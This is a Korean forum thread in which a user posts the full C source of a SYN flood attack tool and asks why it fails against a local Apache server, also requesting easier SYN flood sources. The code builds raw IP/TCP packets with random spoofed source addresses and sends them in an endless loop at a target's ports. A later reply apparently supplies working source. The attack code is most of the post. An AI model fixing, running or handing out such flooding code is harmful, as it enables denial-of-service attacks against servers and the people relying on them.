syn flooding 공격소스인데 왜 안되는지 아시는분 도와주세요

einsok의 이미지

막는거 테스트 해보려고 구한 소스인데요.
처음에 컴파일이 안되서 보니 tcphdr의 필드가 실제로 없는걸 참조하는 부분이 있어서 makepacket함수에서
tcp->syn = 1;
tcp->window = htons(65535);
이렇게 고쳐서 컴파일 해봤더니 실행은 되는데
로컬에서 아파치를 돌리고
./funk 0 127.0.0.1 80 80
등으로 실행시켜 공격을 해봐도 아무 영향이없고
netstat -na | grep SYN 등으로 봐도 아무패킷도 안보이네요.
공격소스까지 자세히 파고들 시간은 없고 ㅠ.ㅠ
어느부분이 잘못됬는지 아시는 분 도움부탁드립니다.

그리고 neptune등 packetstome에서 구한 synflooding소스들은 오래되서 그런지 컴파일도 안되고 설치도 안되고 그러던데 쉽게 syn flooding공격 테스트해볼 소스 어디서 구할 수 있는지 아시는 분 도와주시면 감사하겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <limits.h>

#define BLEH(n) htons(n)
#define PACKETSIZE  (sizeof(struct ip) + sizeof(struct tcphdr))   

struct ip *ip;
struct tcphdr *tcp;
struct sockaddr_in s_in;
u_char packet[PACKETSIZE];
int get;
u_long source,target;

void usage(char *name)
 {
   printf("\nUsage: %s <source addr> <destination> <lowport> <highport>\n",name);
   printf("if source=0, source address will be random\n\n");
   exit(1);
  }


u_long getaddr(char *hostname)    /* Generic function, not my own */
  { 
    struct hostent *hp;
  
    if ((hp = gethostbyname(hostname)) == NULL) 
      {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(1);
      }
    
    return *(u_long *)hp->h_addr;
  }


u_short in_cksum(u_short *addr, int len)    /* function is from ping.c */
  { 
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer =0;
   
   while (nleft > 1) 
      {
       sum += *w++;
       nleft -= 2;
      }
   
   if (nleft == 1) 
     {      
       *(u_char *)(&answer) = *(u_char *)w;
       sum += answer;
     }
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

void makepacket(void)                   /* Thanks Richard Stevens, R.I.P. */ 
{
  memset(packet, 0 , PACKETSIZE);
  
  ip = (struct ip *)packet;
  tcp = (struct tcphdr *) (packet+sizeof(struct ip));
  ip->ip_hl        = 5;
  ip->ip_v         = 4;
  ip->ip_tos       = 0;
  ip->ip_len       = BLEH(PACKETSIZE);
  ip->ip_off       = 0;
  ip->ip_ttl       = 40;
  ip->ip_p         = IPPROTO_TCP;
  ip->ip_dst.s_addr= target;
  tcp->syn    = 1;
  tcp->window      = htons(65535);
  
  s_in.sin_family  = AF_INET;
  s_in.sin_addr.s_addr = target;
 } 


void kill(u_int dstport)        
{
  if (source==0)
    ip->ip_src.s_addr = random();
  else 
    ip->ip_src.s_addr = source;
  
  ip->ip_id         = random();
  tcp->source    = random();
  tcp->dest     = htons(dstport);
  tcp->seq       = random();
  tcp->ack_seq      = random();
  tcp->check       = in_cksum((u_short *)tcp, sizeof(struct tcphdr));
  ip->ip_sum        = in_cksum((u_short *)packet, PACKETSIZE);
  s_in.sin_port     = htons(dstport);
  
  sendto(get,packet,PACKETSIZE,0,(struct sockaddr *)&s_in,sizeof(s_in));
  //usleep(1000000);  /* Debug */
  printf("Packet seded??\n");
}
 

int main(int argc, char *argv[])
{ 
 int low,high,port;
 system("clear"); 
 if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 
   {
     perror("socket");
     exit(1);
   }
 
if ((argc < 5) || (argc > 6))
   usage(argv[0]);
 system("clear"); 
 printf("\nflooding target.  control-c to terminate\n",target);

 fflush(stdout);
 if (atoi(argv[1])==0)
   source=0;
 else 
   source=getaddr(argv[1]);

 target = getaddr(argv[2]);
 low = atoi(argv[3]);
 high = atoi(argv[4]);
 
 if (low > high) {
   printf("low>high \n");
   exit(1);
   }

 if (low==high)  
  {
   makepacket();
   for (;;) {
       srandom(time(NULL));
       port==low;
       kill(port);
     }
 return 0;
   }

 makepacket();        
 for (;;) {     
   srandom(time(NULL));
   for(port = low;  port <=high; port++)
     kill(port);
  }
 return 0;
}
익명 사용자의 이미지

einsok의 이미지

왜 이소스는 못봤을까..;; 잘되네요 감사..

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.